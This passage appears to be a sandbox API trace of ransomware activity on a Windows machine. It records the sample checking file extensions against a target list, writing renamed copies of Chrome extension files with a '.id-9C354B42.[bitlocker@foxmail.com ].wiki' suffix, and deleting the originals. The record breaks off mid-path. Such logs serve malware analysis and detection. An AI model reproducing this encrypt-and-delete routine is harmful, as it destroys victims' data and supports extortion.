[0174.077] lstrlenW (lpString=".dbf") returned 4 [0174.077] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.077] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json") returned 152 [0174.077] lstrlenW (lpString=".1cd") returned 4 [0174.077] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.077] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json") returned 152 [0174.077] lstrlenW (lpString=".jpg") returned 4 [0174.077] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.077] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0174.077] lstrlenW (lpString="messages.json") returned 13 [0174.077] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0174.078] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=273) returned 1 [0174.078] CloseHandle (hObject=0x1b4) returned 1 [0174.078] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_cn\\messages.json")) returned 0x2020 [0174.078] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_cn\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.078] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0174.078] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.078] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.078] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_cn\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0174.079] GetLastError () returned 0x0 [0174.079] ReadFile (in: hFile=0x1b4, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x111, lpOverlapped=0x0) returned 1 [0174.080] WriteFile (in: hFile=0x124, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x120, lpOverlapped=0x0) returned 1 [0174.081] ReadFile (in: hFile=0x1b4, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0174.081] WriteFile (in: hFile=0x124, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.081] SetEndOfFile (hFile=0x124) returned 1 [0174.081] CloseHandle (hObject=0x124) returned 1 [0174.081] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.081] SetEndOfFile (hFile=0x1b4) returned 1 [0174.082] CloseHandle (hObject=0x1b4) returned 1 [0174.082] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.082] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_cn\\messages.json")) returned 1 [0174.082] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\messages.json") returned 155 [0174.082] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\messages.json") returned 155 [0174.082] lstrlenW (lpString=".doc") returned 4 [0174.082] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.082] lstrlenW (lpString=".docx") returned 5 [0174.082] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.082] lstrlenW (lpString=".pdf") returned 4 [0174.082] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.083] lstrlenW (lpString=".xls") returned 4 [0174.083] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.083] lstrlenW (lpString=".xlsx") returned 5 [0174.083] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.083] lstrlenW (lpString=".ppt") returned 4 [0174.083] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.083] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\messages.json") returned 155 [0174.083] lstrlenW (lpString=".zip") returned 4 [0174.083] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.083] lstrlenW (lpString=".rar") returned 4 [0174.083] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.083] lstrlenW (lpString=".bz2") returned 4 [0174.083] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.083] lstrlenW (lpString=".7z") returned 3 [0174.083] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.083] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\messages.json") returned 155 [0174.083] lstrlenW (lpString=".dbf") returned 4 [0174.083] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.083] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\messages.json") returned 155 [0174.083] lstrlenW (lpString=".1cd") returned 4 [0174.083] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.083] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\messages.json") returned 155 [0174.083] lstrlenW (lpString=".jpg") returned 4 [0174.083] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.083] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\messages.json") returned 155 [0174.083] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\messages.json") returned 155 [0174.083] lstrlenW (lpString=".doc") returned 4 [0174.083] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.083] lstrlenW (lpString=".docx") returned 5 [0174.083] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.083] lstrlenW (lpString=".pdf") returned 4 [0174.084] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.084] lstrlenW (lpString=".xls") returned 4 [0174.084] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.084] lstrlenW (lpString=".xlsx") returned 5 [0174.084] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.084] lstrlenW (lpString=".ppt") returned 4 [0174.084] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.084] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\messages.json") returned 155 [0174.084] lstrlenW (lpString=".zip") returned 4 [0174.084] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.084] lstrlenW (lpString=".rar") returned 4 [0174.084] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.084] lstrlenW (lpString=".bz2") returned 4 [0174.084] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.084] lstrlenW (lpString=".7z") returned 3 [0174.084] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.084] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\messages.json") returned 155 [0174.084] lstrlenW (lpString=".dbf") returned 4 [0174.084] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.084] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\messages.json") returned 155 [0174.084] lstrlenW (lpString=".1cd") returned 4 [0174.084] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.084] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\messages.json") returned 155 [0174.084] lstrlenW (lpString=".jpg") returned 4 [0174.084] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.084] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0174.085] lstrlenW (lpString="messages.json") returned 13 [0174.085] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0174.221] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=267) returned 1 [0174.221] CloseHandle (hObject=0x1ac) returned 1 [0174.222] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_tw\\messages.json")) returned 0x2020 [0174.222] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_tw\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.222] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0174.222] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.222] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.222] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_tw\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0174.223] GetLastError () returned 0x0 [0174.223] ReadFile (in: hFile=0x1ac, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x10b, lpOverlapped=0x0) returned 1 [0174.226] WriteFile (in: hFile=0x1b4, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x110, lpOverlapped=0x0) returned 1 [0174.226] ReadFile (in: hFile=0x1ac, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0174.227] WriteFile (in: hFile=0x1b4, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.227] SetEndOfFile (hFile=0x1b4) returned 1 [0174.227] CloseHandle (hObject=0x1b4) returned 1 [0174.227] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.227] SetEndOfFile (hFile=0x1ac) returned 1 [0174.228] CloseHandle (hObject=0x1ac) returned 1 [0174.228] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.228] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_tw\\messages.json")) returned 1 [0174.228] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\messages.json") returned 155 [0174.228] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\messages.json") returned 155 [0174.228] lstrlenW (lpString=".doc") returned 4 [0174.228] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.228] lstrlenW (lpString=".docx") returned 5 [0174.228] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.228] lstrlenW (lpString=".pdf") returned 4 [0174.228] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.228] lstrlenW (lpString=".xls") returned 4 [0174.228] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.228] lstrlenW (lpString=".xlsx") returned 5 [0174.229] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.229] lstrlenW (lpString=".ppt") returned 4 [0174.229] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.229] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\messages.json") returned 155 [0174.229] lstrlenW (lpString=".zip") returned 4 [0174.229] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.229] lstrlenW (lpString=".rar") returned 4 [0174.229] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.229] lstrlenW (lpString=".bz2") returned 4 [0174.229] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.229] lstrlenW (lpString=".7z") returned 3 [0174.229] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.229] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\messages.json") returned 155 [0174.229] lstrlenW (lpString=".dbf") returned 4 [0174.229] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.229] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\messages.json") returned 155 [0174.229] lstrlenW (lpString=".1cd") returned 4 [0174.229] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.229] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\messages.json") returned 155 [0174.229] lstrlenW (lpString=".jpg") returned 4 [0174.229] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.229] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\messages.json") returned 155 [0174.229] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\messages.json") returned 155 [0174.229] lstrlenW (lpString=".doc") returned 4 [0174.229] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.229] lstrlenW (lpString=".docx") returned 5 [0174.229] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.229] lstrlenW (lpString=".pdf") returned 4 [0174.229] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.230] lstrlenW (lpString=".xls") returned 4 [0174.230] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.230] lstrlenW (lpString=".xlsx") returned 5 [0174.230] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.230] lstrlenW (lpString=".ppt") returned 4 [0174.230] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.230] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\messages.json") returned 155 [0174.230] lstrlenW (lpString=".zip") returned 4 [0174.230] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.230] lstrlenW (lpString=".rar") returned 4 [0174.230] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.230] lstrlenW (lpString=".bz2") returned 4 [0174.230] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.230] lstrlenW (lpString=".7z") returned 3 [0174.230] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.230] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\messages.json") returned 155 [0174.230] lstrlenW (lpString=".dbf") returned 4 [0174.230] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.230] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\messages.json") returned 155 [0174.230] lstrlenW (lpString=".1cd") returned 4 [0174.230] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.230] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\messages.json") returned 155 [0174.230] lstrlenW (lpString=".jpg") returned 4 [0174.230] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.230] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0174.230] lstrlenW (lpString="messages.json") returned 13 [0174.231] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0174.231] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=179) returned 1 [0174.231] CloseHandle (hObject=0x1ac) returned 1 [0174.231] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json")) returned 0x2020 [0174.231] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.231] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0174.231] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.232] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.232] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 